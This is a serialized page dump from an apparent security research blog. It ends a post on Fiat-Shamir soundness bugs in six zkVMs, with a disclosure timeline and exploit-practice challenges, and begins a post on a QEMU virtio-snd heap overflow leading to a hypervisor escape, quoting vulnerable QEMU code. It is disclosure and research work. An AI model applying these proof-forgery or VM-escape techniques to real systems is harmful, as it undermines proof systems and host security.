of the full protocol.",{"type":24,"tag":395,"props":124173,"children":124175},{"id":124174},"the-hot-potato-problem",[124176],{"type":29,"value":124177},"The Hot Potato Problem",{"type":24,"tag":25,"props":124179,"children":124180},{},[124181],{"type":29,"value":124182},"Modern zkVMs are modular:",{"type":24,"tag":25,"props":124184,"children":124185},{},[124186],{"type":24,"tag":84,"props":124187,"children":124190},{"alt":124188,"src":124189},"11_hot_potato","/posts/zkvms-unfaithful-claims/11_hot_potato.svg",[],{"type":24,"tag":25,"props":124192,"children":124193},{},[124194],{"type":29,"value":124195},"It often happens that each layer assumes the previous/next layer handles the transcript binding for a value, so in the end it never happens.",{"type":24,"tag":395,"props":124197,"children":124199},{"id":124198},"optimization-pressure",[124200],{"type":29,"value":124201},"Optimization Pressure",{"type":24,"tag":25,"props":124203,"children":124204},{},[124205],{"type":29,"value":124206},"Performance is existential for ZK. Since every hash operation has a cost, there is constant pressure to exclude values that are \"probably fine\" to leave out.",{"type":24,"tag":25,"props":124208,"children":124209},{},[124210],{"type":29,"value":124211},"There are indeed cases when this can be done safely, but determining what is safe requires a full understanding of all protocols involved, and the decision to exclude something should be double and triple checked by experts.",{"type":24,"tag":395,"props":124213,"children":124215},{"id":124214},"testing-doesnt-catch-adversarial-inputs",[124216],{"type":29,"value":124217},"Testing Doesn't Catch Adversarial Inputs",{"type":24,"tag":25,"props":124219,"children":124220},{},[124221],{"type":29,"value":124222},"Unit tests run the honest prover. Integration tests run the honest prover. Fuzzing only randomly perturbs values and has a very low probability of succeeding in fooling a verifier. Identifying Fiat-Shamir bugs requires thorough manual security analysis, and sometimes even that falls short.",{"type":24,"tag":20034,"props":124224,"children":124225},{},[],{"type":24,"tag":59,"props":124227,"children":124229},{"id":124228},"how-to-find-and-fix-these-bugs",[124230],{"type":29,"value":124231},"How to Find and Fix These Bugs",{"type":24,"tag":395,"props":124233,"children":124235},{"id":124234},"prevention",[124236],{"type":29,"value":124237},"Prevention",{"type":24,"tag":25,"props":124239,"children":124240},{},[124241],{"type":29,"value":124242},"Fiat-Shamir has long been a known source of soundness bugs, which has driven the development of primitives that make implementation less error-prone.",{"type":24,"tag":25,"props":124244,"children":124245},{},[124246],{"type":29,"value":124247},"One such tool is to merge the proof and transcript, to force all values that are sent by the prover to be automatically absorbed into the transcript.",{"type":24,"tag":25,"props":124249,"children":124250},{},[124251],{"type":29,"value":124252},"The prover holds a proof buffer which emulates the communication channel between prover and verifier. When a value is sent by the prover it is added to the proof buffer and automatically absorbed into the transcript. When the prover then needs to read a challenge from the verifier it simply squeezes from the current transcript.",{"type":24,"tag":25,"props":124254,"children":124255},{},[124256],{"type":29,"value":124257},"This can then be done in reverse for the verifier. It gradually reads values from the proof buffer and can thus sync the transcript state and derive the same challenges.",{"type":24,"tag":25,"props":124259,"children":124260},{},[124261],{"type":29,"value":124262},"Halo2 follows this pattern, and Binius is transcript-centric as well. But even with a merged proof/transcript, statement data (e.g., public inputs) must still be absorbed before sampling any challenges that govern equations depending on them—and as Binius demonstrates, even transcript-centric systems can miss this.",{"type":24,"tag":20034,"props":124264,"children":124265},{},[],{"type":24,"tag":59,"props":124267,"children":124269},{"id":124268},"responsible-disclosure-timeline",[124270],{"type":29,"value":124271},"Responsible Disclosure Timeline",{"type":24,"tag":57017,"props":124273,"children":124274},{},[124275,124303],{"type":24,"tag":124276,"props":124277,"children":124278},"thead",{},[124279],{"type":24,"tag":124280,"props":124281,"children":124282},"tr",{},[124283,124288,124293,124298],{"type":24,"tag":124284,"props":124285,"children":124286},"th",{},[124287],{"type":29,"value":24453},{"type":24,"tag":124284,"props":124289,"children":124290},{},[124291],{"type":29,"value":124292},"Reported",{"type":24,"tag":124284,"props":124294,"children":124295},{},[124296],{"type":29,"value":124297},"Fixed",{"type":24,"tag":124284,"props":124299,"children":124300},{},[124301],{"type":29,"value":124302},"Response Time",{"type":24,"tag":124304,"props":124305,"children":124306},"tbody",{},[124307,124330,124351,124371,124393,124414],{"type":24,"tag":124280,"props":124308,"children":124309},{},[124310,124315,124320,124325],{"type":24,"tag":124311,"props":124312,"children":124313},"td",{},[124314],{"type":29,"value":109138},{"type":24,"tag":124311,"props":124316,"children":124317},{},[124318],{"type":29,"value":124319},"Sep 2025",{"type":24,"tag":124311,"props":124321,"children":124322},{},[124323],{"type":29,"value":124324},"Oct 3, 2025",{"type":24,"tag":124311,"props":124326,"children":124327},{},[124328],{"type":29,"value":124329},"\u003C1 week",{"type":24,"tag":124280,"props":124331,"children":124332},{},[124333,124337,124342,124347],{"type":24,"tag":124311,"props":124334,"children":124335},{},[124336],{"type":29,"value":109144},{"type":24,"tag":124311,"props":124338,"children":124339},{},[124340],{"type":29,"value":124341},"Oct 2025",{"type":24,"tag":124311,"props":124343,"children":124344},{},[124345],{"type":29,"value":124346},"Oct 24, 2025",{"type":24,"tag":124311,"props":124348,"children":124349},{},[124350],{"type":29,"value":124329},{"type":24,"tag":124280,"props":124352,"children":124353},{},[124354,124358,124362,124367],{"type":24,"tag":124311,"props":124355,"children":124356},{},[124357],{"type":29,"value":109150},{"type":24,"tag":124311,"props":124359,"children":124360},{},[124361],{"type":29,"value":124341},{"type":24,"tag":124311,"props":124363,"children":124364},{},[124365],{"type":29,"value":124366},"Oct 31, 2025",{"type":24,"tag":124311,"props":124368,"children":124369},{},[124370],{"type":29,"value":124329},{"type":24,"tag":124280,"props":124372,"children":124373},{},[124374,124378,124383,124388],{"type":24,"tag":124311,"props":124375,"children":124376},{},[124377],{"type":29,"value":109156},{"type":24,"tag":124311,"props":124379,"children":124380},{},[124381],{"type":29,"value":124382},"Nov 2025",{"type":24,"tag":124311,"props":124384,"children":124385},{},[124386],{"type":29,"value":124387},"Mar 5, 2026",{"type":24,"tag":124311,"props":124389,"children":124390},{},[124391],{"type":29,"value":124392},"~4 months",{"type":24,"tag":124280,"props":124394,"children":124395},{},[124396,124400,124405,124410],{"type":24,"tag":124311,"props":124397,"children":124398},{},[124399],{"type":29,"value":109168},{"type":24,"tag":124311,"props":124401,"children":124402},{},[124403],{"type":29,"value":124404},"Dec 2025",{"type":24,"tag":124311,"props":124406,"children":124407},{},[124408],{"type":29,"value":124409},"Dec 29, 2025",{"type":24,"tag":124311,"props":124411,"children":124412},{},[124413],{"type":29,"value":124329},{"type":24,"tag":124280,"props":124415,"children":124416},{},[124417,124421,124425,124430],{"type":24,"tag":124311,"props":124418,"children":124419},{},[124420],{"type":29,"value":109162},{"type":24,"tag":124311,"props":124422,"children":124423},{},[124424],{"type":29,"value":124382},{"type":24,"tag":124311,"props":124426,"children":124427},{},[124428],{"type":29,"value":124429},"Jan 21, 2026?",{"type":24,"tag":124311,"props":124431,"children":124432},{},[124433],{"type":29,"value":124434},"3 months",{"type":24,"tag":25,"props":124436,"children":124437},{},[124438],{"type":29,"value":124439},"All six teams were notified; responses ranged from immediate acknowledgement to delayed fix, and all reported issues have since been addressed.",{"type":24,"tag":20034,"props":124441,"children":124442},{},[],{"type":24,"tag":59,"props":124444,"children":124446},{"id":124445},"challenges",[124447],{"type":29,"value":109181},{"type":24,"tag":25,"props":124449,"children":124450},{},[124451,124453],{"type":29,"value":124452},"Do you think you have a good understanding of these bugs? We have prepared challenges to allow you to practice implementing two of these exploits. If you solve any of them, follow the instructions in the flag ",{"type":24,"tag":124454,"props":124455,"children":124456},"del",{},[124457],{"type":29,"value":124458},"the first 10 solvers will get a T-shirt.",{"type":24,"tag":25,"props":124460,"children":124461},{},[124462,124464,124517,124518,124774],{"type":29,"value":124463},"Your goal is to find a counter example of Fermat's Last Theorem, i.e you know ",{"type":24,"tag":154,"props":124465,"children":124467},{"className":124466},[5642,5643],[124468],{"type":24,"tag":158,"props":124469,"children":124471},{"className":124470},[5648],[124472],{"type":24,"tag":158,"props":124473,"children":124475},{"className":124474,"ariaHidden":3185},[5653],[124476],{"type":24,"tag":158,"props":124477,"children":124479},{"className":124478},[5658],[124480,124484,124489,124494,124498,124503,124508,124512],{"type":24,"tag":158,"props":124481,"children":124483},{"className":124482,"style":116380},[5663],[],{"type":24,"tag":158,"props":124485,"children":124487},{"className":124486},[5669,22832],[124488],{"type":29,"value":101},{"type":24,"tag":158,"props":124490,"children":124492},{"className":124491},[5782],[124493],{"type":29,"value":5785},{"type":24,"tag":158,"props":124495,"children":124497},{"className":124496,"style":5789},[5750],[],{"type":24,"tag":158,"props":124499,"children":124501},{"className":124500},[5669,22832],[124502],{"type":29,"value":741},{"type":24,"tag":158,"props":124504,"children":124506},{"className":124505},[5782],[124507],{"type":29,"value":5785},{"type":24,"tag":158,"props":124509,"children":124511},{"className":124510,"style":5789},[5750],[],{"type":24,"tag":158,"props":124513,"children":124515},{"className":124514},[5669,22832],[124516],{"type":29,"value":2907},{"type":29,"value":110981},{"type":24,"tag":154,"props":124519,"children":124521},{"className":124520},[5642,5643],[124522],{"type":24,"tag":158,"props":124523,"children":124525},{"className":124524},[5648],[124526],{"type":24,"tag":158,"props":124527,"children":124529},{"className":124528,"ariaHidden":3185},[5653],[124530,124593,124655,124761],{"type":24,"tag":158,"props":124531,"children":124533},{"className":124532},[5658],[124534,124539,124580,124584,124589],{"type":24,"tag":158,"props":124535,"children":124538},{"className":124536,"style":124537},[5663],"height:0.8974em;vertical-align:-0.0833em;",[],{"type":24,"tag":158,"props":124540,"children":124542},{"className":124541},[5669],[124543,124548],{"type":24,"tag":158,"props":124544,"children":124546},{"className":124545},[5669,22832],[124547],{"type":29,"value":101},{"type":24,"tag":158,"props":124549,"children":124551},{"className":124550},[5686],[124552],{"type":24,"tag":158,"props":124553,"children":124555},{"className":124554},[5691],[124556],{"type":24,"tag":158,"props":124557,"children":124559},{"className":124558},[5696],[124560],{"type":24,"tag":158,"props":124561,"children":124563},{"className":124562,"style":5664},[5701],[124564],{"type":24,"tag":158,"props":124565,"children":124566},{"style":5705},[124567,124571],{"type":24,"tag":158,"props":124568,"children":124570},{"className":124569,"style":5711},[5710],[],{"type":24,"tag":158,"props":124572,"children":124574},{"className":124573},[5716,5717,5718,5719],[124575],{"type":24,"tag":158,"props":124576,"children":124578},{"className":124577},[5669,5719],[124579],{"type":29,"value":18534},{"type":24,"tag":158,"props":124581,"children":124583},{"className":124582,"style":5751},[5750],[],{"type":24,"tag":158,"props":124585,"children":124587},{"className":124586},[5756],[124588],{"type":29,"value":728},{"type":24,"tag":158,"props":124590,"children":124592},{"className":124591,"style":5751},[5750],[],{"type":24,"tag":158,"props":124594,"children":124596},{"className":124595},[5658],[124597,124601,124642,124646,124651],{"type":24,"tag":158,"props":124598,"children":124600},{"className":124599,"style":5664},[5663],[],{"type":24,"tag":158,"props":124602,"children":124604},{"className":124603},[5669],[124605,124610],{"type":24,"tag":158,"props":124606,"children":124608},{"className":124607},[5669,22832],[124609],{"type":29,"value":741},{"type":24,"tag":158,"props":124611,"children":124613},{"className":124612},[5686],[124614],{"type":24,"tag":158,"props":124615,"children":124617},{"className":124616},[5691],[124618],{"type":24,"tag":158,"props":124619,"children":124621},{"className":124620},[5696],[124622],{"type":24,"tag":158,"props":124623,"children":124625},{"className":124624,"style":5664},[5701],[124626],{"type":24,"tag":158,"props":124627,"children":124628},{"style":5705},[124629,124633],{"type":24,"tag":158,"props":124630,"children":124632},{"className":124631,"style":5711},[5710],[],{"type":24,"tag":158,"props":124634,"children":124636},{"className":124635},[5716,5717,5718,5719],[124637],{"type":24,"tag":158,"props":124638,"children":124640},{"className":124639},[5669,5719],[124641],{"type":29,"value":18534},{"type":24,"tag":158,"props":124643,"children":124645},{"className":124644,"style":5848},[5750],[],{"type":24,"tag":158,"props":124647,"children":124649},{"className":124648},[5853],[124650],{"type":29,"value":1285},{"type":24,"tag":158,"props":124652,"children":124654},{"className":124653,"style":5848},[5750],[],{"type":24,"tag":158,"props":124656,"children":124658},{"className":124657},[5658],[124659,124664,124705,124710,124714,124719,124724,124728,124733,124738,124742,124747,124751,124757],{"type":24,"tag":158,"props":124660,"children":124663},{"className":124661,"style":124662},[5663],"height:1.0085em;vertical-align:-0.1944em;",[],{"type":24,"tag":158,"props":124665,"children":124667},{"className":124666},[5669],[124668,124673],{"type":24,"tag":158,"props":124669,"children":124671},{"className":124670},[5669,22832],[124672],{"type":29,"value":2907},{"type":24,"tag":158,"props":124674,"children":124676},{"className":124675},[5686],[124677],{"type":24,"tag":158,"props":124678,"children":124680},{"className":124679},[5691],[124681],{"type":24,"tag":158,"props":124682,"children":124684},{"className":124683},[5696],[124685],{"type":24,"tag":158,"props":124686,"children":124688},{"className":124687,"style":5664},[5701],[124689],{"type":24,"tag":158,"props":124690,"children":124691},{"style":5705},[124692,124696],{"type":24,"tag":158,"props":124693,"children":124695},{"className":124694,"style":5711},[5710],[],{"type":24,"tag":158,"props":124697,"children":124699},{"className":124698},[5716,5717,5718,5719],[124700],{"type":24,"tag":158,"props":124701,"children":124703},{"className":124702},[5669,5719],[124704],{"type":29,"value":18534},{"type":24,"tag":158,"props":124706,"children":124708},{"className":124707},[5782],[124709],{"type":29,"value":5785},{"type":24,"tag":158,"props":124711,"children":124713},{"className":124712,"style":5789},[5750],[],{"type":24,"tag":158,"props":124715,"children":124717},{"className":124716},[5669,22832],[124718],{"type":29,"value":101},{"type":24,"tag":158,"props":124720,"children":124722},{"className":124721},[5782],[124723],{"type":29,"value":5785},{"type":24,"tag":158,"props":124725,"children":124727},{"className":124726,"style":5789},[5750],[],{"type":24,"tag":158,"props":124729,"children":124731},{"className":124730},[5669,22832],[124732],{"type":29,"value":741},{"type":24,"tag":158,"props":124734,"children":124736},{"className":124735},[5782],[124737],{"type":29,"value":5785},{"type":24,"tag":158,"props":124739,"children":124741},{"className":124740,"style":5789},[5750],[],{"type":24,"tag":158,"props":124743,"children":124745},{"className":124744},[5669,22832],[124746],{"type":29,"value":2907},{"type":24,"tag":158,"props":124748,"children":124750},{"className":124749,"style":5848},[5750],[],{"type":24,"tag":158,"props":124752,"children":124754},{"className":124753},[5853],[124755],{"type":29,"value":124756},"≥",{"type":24,"tag":158,"props":124758,"children":124760},{"className":124759,"style":5848},[5750],[],{"type":24,"tag":158,"props":124762,"children":124764},{"className":124763},[5658],[124765,124769],{"type":24,"tag":158,"props":124766,"children":124768},{"className":124767,"style":95356},[5663],[],{"type":24,"tag":158,"props":124770,"children":124772},{"className":124771},[5669],[124773],{"type":29,"value":5672},{"type":29,"value":124775},". Good luck!",{"type":24,"tag":395,"props":124777,"children":124779},{"id":124778},"jolt",[124780],{"type":29,"value":109138},{"type":24,"tag":25,"props":124782,"children":124783},{},[124784,124786,124797,124799],{"type":29,"value":124785},"See ",{"type":24,"tag":101,"props":124787,"children":124794},{"href":124788,"target":124789,"rel":124790,"download":124793},"/posts/zkvms-unfaithful-claims/handout_jolt.tar.gz","_blank",[124791,124792],"noopener","noreferrer","handout_jolt.tar.gz",[124795],{"type":29,"value":124796},"the handout",{"type":29,"value":124798}," for the setup running on the server.\nSubmit your proof by connecting to ",{"type":24,"tag":154,"props":124800,"children":124802},{"className":124801},[],[124803],{"type":29,"value":124804},"jolt.chal.osec.io:8960",{"type":24,"tag":395,"props":124806,"children":124808},{"id":124807},"nexus-1",[124809],{"type":29,"value":109144},{"type":24,"tag":25,"props":124811,"children":124812},{},[124813,124814,124821,124822],{"type":29,"value":124785},{"type":24,"tag":101,"props":124815,"children":124819},{"href":124816,"target":124789,"rel":124817,"download":124818},"/posts/zkvms-unfaithful-claims/handout_nexus.tar.gz",[124791,124792],"handout_nexus.tar.gz",[124820],{"type":29,"value":124796},{"type":29,"value":124798},{"type":24,"tag":154,"props":124823,"children":124825},{"className":124824},[],[124826],{"type":29,"value":124827},"nexus.chal.osec.io:8950",{"type":24,"tag":25,"props":124829,"children":124830},{},[124831],{"type":29,"value":124832},"Now you should have enough margin to prove Fermat wrong.",{"type":24,"tag":20034,"props":124834,"children":124835},{},[],{"type":24,"tag":59,"props":124837,"children":124839},{"id":124838},"takeaways",[124840],{"type":29,"value":124841},"Takeaways",{"type":24,"tag":25,"props":124843,"children":124844},{},[124845],{"type":29,"value":124846},"We found critical soundness vulnerabilities in six separate zkVMs. All share the same root cause: prover-controlled values that affect verification equations were not bound to the Fiat-Shamir transcript before challenges were derived.",{"type":24,"tag":25,"props":124848,"children":124849},{},[124850],{"type":29,"value":124851},"The fix in each case is trivial—one or two lines of code. But finding the bug requires understanding the full verification flow and asking: \"What if the prover chose this value after seeing the challenges?\"",{"type":24,"tag":25,"props":124853,"children":124854},{},[124855,124860],{"type":24,"tag":897,"props":124856,"children":124857},{},[124858],{"type":29,"value":124859},"For the ZK ecosystem:",{"type":29,"value":124861}," The Fiat-Shamir transform looks simple. Hash everything, derive challenges. In practice, \"everything\" is hard to specify when you have dozens of components, each with its own inputs and outputs, each expecting someone else to handle binding.",{"type":24,"tag":25,"props":124863,"children":124864},{},[124865],{"type":29,"value":124866},"We found six instances by examining a handful of systems. How many more exist in the dozens of zkVMs, proof systems, and recursive verifiers deployed today?",{"type":24,"tag":25,"props":124868,"children":124869},{},[124870,124875],{"type":24,"tag":897,"props":124871,"children":124872},{},[124873],{"type":29,"value":124874},"For auditors:",{"type":29,"value":124876}," Draw the data flow. Trace the transcript. Check every prover-controlled value against when its relevant challenges are derived.",{"type":24,"tag":25,"props":124878,"children":124879},{},[124880,124885],{"type":24,"tag":897,"props":124881,"children":124882},{},[124883],{"type":29,"value":124884},"For builders:",{"type":29,"value":124886}," Treat the transcript as a sacred ledger. When in doubt, absorb it.",{"type":24,"tag":4517,"props":124888,"children":124889},{},[124890],{"type":29,"value":4521},{"title":7,"searchDepth":213,"depth":213,"links":124892},[124893,124894,124897,124903,124904,124912,124918,124921,124922,124926],{"id":109189,"depth":213,"text":109192},{"id":109331,"depth":213,"text":109334,"children":124895},[124896],{"id":109337,"depth":238,"text":109340},{"id":109766,"depth":213,"text":109769,"children":124898},[124899,124900,124901,124902],{"id":109777,"depth":238,"text":109780},{"id":109965,"depth":238,"text":109968},{"id":113346,"depth":238,"text":113349},{"id":114560,"depth":238,"text":114563},{"id":116197,"depth":213,"text":116200},{"id":116703,"depth":213,"text":116706,"children":124905},[124906,124907,124908,124909,124910,124911],{"id":116725,"depth":238,"text":116728},{"id":118050,"depth":238,"text":109144},{"id":119186,"depth":238,"text":119189},{"id":119854,"depth":238,"text":119857},{"id":122510,"depth":238,"text":122513},{"id":123064,"depth":238,"text":109168},{"id":123993,"depth":213,"text":123996,"children":124913},[124914,124915,124916,124917],{"id":124004,"depth":238,"text":124007},{"id":124174,"depth":238,"text":124177},{"id":124198,"depth":238,"text":124201},{"id":124214,"depth":238,"text":124217},{"id":124228,"depth":213,"text":124231,"children":124919},[124920],{"id":124234,"depth":238,"text":124237},{"id":124268,"depth":213,"text":124271},{"id":124445,"depth":213,"text":109181,"children":124923},[124924,124925],{"id":124778,"depth":238,"text":109138},{"id":124807,"depth":238,"text":109144},{"id":124838,"depth":213,"text":124841},"content:blog:2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims",{"_path":124931,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":124932,"description":124933,"date":124934,"author":124935,"image":124936,"isFeatured":16,"onBlogPage":16,"tags":124938,"body":124941,"_type":4536,"_id":133227,"_source":4538,"_file":133228,"_stem":133229,"_extension":4541},"/blog/2026-03-17-virtio-snd-qemu-hypervisor-escape","From virtio-snd 0-Day to Hypervisor Escape: Exploiting QEMU with an Uncontrolled Heap Overflow","Turning an uncontrolled heap overflow into a reliable QEMU guest-to-host escape using new glibc allocator behavior and QEMU-specific heap spray techniques.","2026-03-17T12:00:00.000Z","hrvoje",{"src":124937,"width":98546,"height":14857},"/posts/virtio-snd-qemu-0day/title.png",[124939,124940],"qemu","heap-overflow",{"type":21,"children":124942,"toc":133209},[124943,124948,124953,124958,124964,124969,124974,124982,124988,125000,125004,125009,125017,125022,125028,125033,125046,125656,125691,125736,125770,125805,125940,125988,125994,125999,126755,126800,126836,126871,126936,126956,127406,127453,127456,127461,127526,127552,127574,127578,127583,127588,127594,127599,127604,127609,127615,127628,127634,127639,127647,127717,127722,127728,127741,127967,128030,128049,128432,128437,128470,128475,128751,128763,128781,129060,129072,129075,129110,129115,129121,129133,129145,129150,129155,129165,129200,129817,129849,129860,129896,129909,129915,129927,129935,129961,129966,129999,130040,130046,130065,130103,130111,130160,130165,130214,130219,130227,130314,130320,130359,130371,130379,130397,130416,130424,130436,130444,130463,130471,130482,130490,130501,130509,130522,130530,130536,130541,130554,130562,130580,130588,130600,130605,130613,130649,130682,130689,130723,130731,130736,130742,130754,130765,131044,131104,131172,131180,131214,131818,131829,131837,131843,131848,131859,132613,132646,132658,132744,132764,132973,133020,133032,133038,133057,133083,133111,133127,133154,133157,133177,133191,133195,133200,133205],{"type":24,"tag":25,"props":124944,"children":124945},{},[124946],{"type":29,"value":124947},"Heap overflows are often exploitable, but far less so when the corrupted bytes are not under your control. In many cases, that kind of bug is written off as a crash and nothing more. However, in this post we show how we turned such an overflow into a reliable QEMU guest-to-host escape by abusing new glibc allocator behavior and QEMU-specific heap spray techniques.",{"type":24,"tag":59,"props":124949,"children":124950},{"id":124939},[124951],{"type":29,"value":124952},"QEMU",{"type":24,"tag":25,"props":124954,"children":124955},{},[124956],{"type":29,"value":124957},"QEMU is a machine emulator and virtualizer that lets a host system run guest operating systems. It presents the guest with virtual hardware, while the logic backing that hardware runs inside the host-side QEMU process.",{"type":24,"tag":395,"props":124959,"children":124961},{"id":124960},"virtio-devices",[124962],{"type":29,"value":124963},"Virtio Devices",{"type":24,"tag":25,"props":124965,"children":124966},{},[124967],{"type":29,"value":124968},"For guest-to-host escape research, the interesting part of QEMU is the interface between the guest and those host-side device implementations. Every request sent by the guest is eventually parsed and handled by code running in the QEMU process. This is interesting because any unhandled edge case in the device could lead to some kind of host state corruption.",{"type":24,"tag":25,"props":124970,"children":124971},{},[124972],{"type":29,"value":124973},"At a high level, the communication between the driver running in the guest and the device running on the host is simple - the guest-side virtio driver shares requests over virtqueues, while the host-side virtio device consumes those requests, processes and returns responses.",{"type":24,"tag":25,"props":124975,"children":124976},{},[124977],{"type":24,"tag":84,"props":124978,"children":124981},{"alt":124979,"src":124980},"flowchart1","/posts/virtio-snd-qemu-0day/flowchart1.png",[],{"type":24,"tag":59,"props":124983,"children":124985},{"id":124984},"finding-a-bug",[124986],{"type":29,"value":124987},"Finding a Bug",{"type":24,"tag":25,"props":124989,"children":124990},{},[124991,124993,124999],{"type":29,"value":124992},"While looking for devices to research, we focused on ones that seemed to have received less scrutiny in the past. With that in mind, we started with the sound device ",{"type":24,"tag":154,"props":124994,"children":124996},{"className":124995},[],[124997],{"type":29,"value":124998},"virtio-snd",{"type":29,"value":347},{"type":24,"tag":395,"props":125001,"children":125002},{"id":124998},[125003],{"type":29,"value":124998},{"type":24,"tag":25,"props":125005,"children":125006},{},[125007],{"type":29,"value":125008},"From the official documentation:",{"type":24,"tag":4606,"props":125010,"children":125011},{},[125012],{"type":24,"tag":25,"props":125013,"children":125014},{},[125015],{"type":29,"value":125016},"Virtio sound implements capture and playback from inside a guest using the configured audio backend of the host machine.",{"type":24,"tag":25,"props":125018,"children":125019},{},[125020],{"type":29,"value":125021},"Essentially, it allows software running inside the guest to interact with the host's audio stack through a paravirtualized sound device. Playback streams send guest-provided audio data to the host backend, while capture streams let the guest receive audio input from the host.",{"type":24,"tag":20134,"props":125023,"children":125025},{"id":125024},"audio-data-buffers",[125026],{"type":29,"value":125027},"Audio Data Buffers",{"type":24,"tag":25,"props":125029,"children":125030},{},[125031],{"type":29,"value":125032},"This audio data flows through buffers allocated by the host-side virtio-snd device and stored in a FIFO linked list for the corresponding stream.",{"type":24,"tag":25,"props":125034,"children":125035},{},[125036,125038,125044],{"type":29,"value":125037},"For example, the following is ",{"type":24,"tag":154,"props":125039,"children":125041},{"className":125040},[],[125042],{"type":29,"value":125043},"virtio_snd_handle_rx_xfer",{"type":29,"value":125045},", which is responsible for allocating buffers for an input audio stream:",{"type":24,"tag":147,"props":125047,"children":125049},{"code":125048,"language":2907,"meta":7,"className":17751,"style":7},"/*\n * The rx virtqueue handler. Makes the buffers available to their\n * respective streams for consumption.\n *\n * @vdev: VirtIOSound device\n * @vq: rx virtqueue\n */\nstatic void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n VirtQueueElement *elem;\n [...]\n\n for (;;) {\n VirtIOSoundPCMStream *stream;\n\n elem = virtqueue_pop(vq, sizeof(VirtQueueElement)); // [1]\n if (!elem) {\n break;\n }\n\n [...]\n\n WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n size = iov_size(elem->in_sg, elem->in_num) -\n sizeof(virtio_snd_pcm_status); // [2]\n buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size);\n buffer->elem = elem;\n buffer->vq = vq;\n buffer->size = 0;\n buffer->offset = 0;\n QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry); // [3]\n }\n continue;\n\n [...]\n}\n\n",[125050],{"type":24,"tag":154,"props":125051,"children":125052},{"__ignoreMap":7},[125053,125060,125068,125076,125083,125091,125099,125107,125155,125162,125179,125186,125193,125205,125222,125229,125265,125285,125296,125303,125310,125318,125325,125358,125417,125435,125474,125499,125523,125551,125578,125616,125623,125635,125642,125649],{"type":24,"tag":158,"props":125054,"children":125055},{"class":160,"line":161},[125056],{"type":24,"tag":158,"props":125057,"children":125058},{"style":2588},[125059],{"type":29,"value":50637},{"type":24,"tag":158,"props":125061,"children":125062},{"class":160,"line":213},[125063],{"type":24,"tag":158,"props":125064,"children":125065},{"style":2588},[125066],{"type":29,"value":125067}," * The rx virtqueue handler. Makes the buffers available to their\n",{"type":24,"tag":158,"props":125069,"children":125070},{"class":160,"line":238},[125071],{"type":24,"tag":158,"props":125072,"children":125073},{"style":2588},[125074],{"type":29,"value":125075}," * respective streams for consumption.\n",{"type":24,"tag":158,"props":125077,"children":125078},{"class":160,"line":259},[125079],{"type":24,"tag":158,"props":125080,"children":125081},{"style":2588},[125082],{"type":29,"value":20731},{"type":24,"tag":158,"props":125084,"children":125085},{"class":160,"line":280},[125086],{"type":24,"tag":158,"props":125087,"children":125088},{"style":2588},[125089],{"type":29,"value":125090}," * @vdev: VirtIOSound device\n",{"type":24,"tag":158,"props":125092,"children":125093},{"class":160,"line":301},[125094],{"type":24,"tag":158,"props":125095,"children":125096},{"style":2588},[125097],{"type":29,"value":125098}," * @vq: rx virtqueue\n",{"type":24,"tag":158,"props":125100,"children":125101},{"class":160,"line":626},[125102],{"type":24,"tag":158,"props":125103,"children":125104},{"style":2588},[125105],{"type":29,"value":125106}," */\n",{"type":24,"tag":158,"props":125108,"children":125109},{"class":160,"line":668},[125110,125114,125118,125123,125128,125132,125137,125142,125146,125151],{"type":24,"tag":158,"props":125111,"children":125112},{"style":165},[125113],{"type":29,"value":52316},{"type":24,"tag":158,"props":125115,"children":125116},{"style":165},[125117],{"type":29,"value":52321},{"type":24,"tag":158,"props":125119,"children":125120},{"style":496},[125121],{"type":29,"value":125122}," virtio_snd_handle_rx_xfer",{"type":24,"tag":158,"props":125124,"children":125125},{"style":188},[125126],{"type":29,"value":125127},"(VirtIODevice ",{"type":24,"tag":158,"props":125129,"children":125130},{"style":222},[125131],{"type":29,"value":577},{"type":24,"tag":158,"props":125133,"children":125134},{"style":177},[125135],{"type":29,"value":125136},"vdev",{"type":24,"tag":158,"props":125138,"children":125139},{"style":188},[125140],{"type":29,"value":125141},", VirtQueue ",{"type":24,"tag":158,"props":125143,"children":125144},{"style":222},[125145],{"type":29,"value":577},{"type":24,"tag":158,"props":125147,"children":125148},{"style":177},[125149],{"type":29,"value":125150},"vq",{"type":24,"tag":158,"props":125152,"children":125153},{"style":188},[125154],{"type":29,"value":2125},{"type":24,"tag":158,"props":125156,"children":125157},{"class":160,"line":676},[125158],{"type":24,"tag":158,"props":125159,"children":125160},{"style":188},[125161],{"type":29,"value":1710},{"type":24,"tag":158,"props":125163,"children":125164},{"class":160,"line":684},[125165,125170,125174],{"type":24,"tag":158,"props":125166,"children":125167},{"style":188},[125168],{"type":29,"value":125169}," VirtQueueElement ",{"type":24,"tag":158,"props":125171,"children":125172},{"style":222},[125173],{"type":29,"value":577},{"type":24,"tag":158,"props":125175,"children":125176},{"style":188},[125177],{"type":29,"value":125178},"elem;\n",{"type":24,"tag":158,"props":125180,"children":125181},{"class":160,"line":700},[125182],{"type":24,"tag":158,"props":125183,"children":125184},{"style":188},[125185],{"type":29,"value":106079},{"type":24,"tag":158,"props":125187,"children":125188},{"class":160,"line":785},[125189],{"type":24,"tag":158,"props":125190,"children":125191},{"emptyLinePlaceholder":16},[125192],{"type":29,"value":481},{"type":24,"tag":158,"props":125194,"children":125195},{"class":160,"line":1447},[125196,125200],{"type":24,"tag":158,"props":125197,"children":125198},{"style":1914},[125199],{"type":29,"value":4702},{"type":24,"tag":158,"props":125201,"children":125202},{"style":188},[125203],{"type":29,"value":125204}," (;;) {\n",{"type":24,"tag":158,"props":125206,"children":125207},{"class":160,"line":1509},[125208,125213,125217],{"type":24,"tag":158,"props":125209,"children":125210},{"style":188},[125211],{"type":29,"value":125212}," VirtIOSoundPCMStream 